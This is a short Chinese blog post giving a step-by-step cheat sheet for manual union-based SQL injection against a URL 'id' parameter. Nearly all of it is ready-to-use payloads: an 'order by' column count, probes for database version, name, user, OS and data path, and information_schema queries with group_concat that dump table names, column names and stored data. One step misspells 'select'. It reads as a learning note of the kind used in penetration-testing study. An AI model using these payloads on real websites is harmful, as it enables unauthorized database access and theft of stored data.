简单sql注入思路

1.判断注入点 猜解列名数量
.... ?id=1 order by x  (x为数字)

2.报错猜解
...?id=-1 selecet 1,2,..,x

3.信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

返回的是数据库存储数据的路径:@@datadir

4.查询指定数据库名下的表名信息
...?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库名'

5.查询指定表名的列名信息
...?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='表名'

6.查询数据
...?id=-1 union select 1,group_concat(列名),group_concat(列名),4 from 表名

posted @ 2022-12-31 13:01  掘掘子  阅读(69)  评论(0)    收藏  举报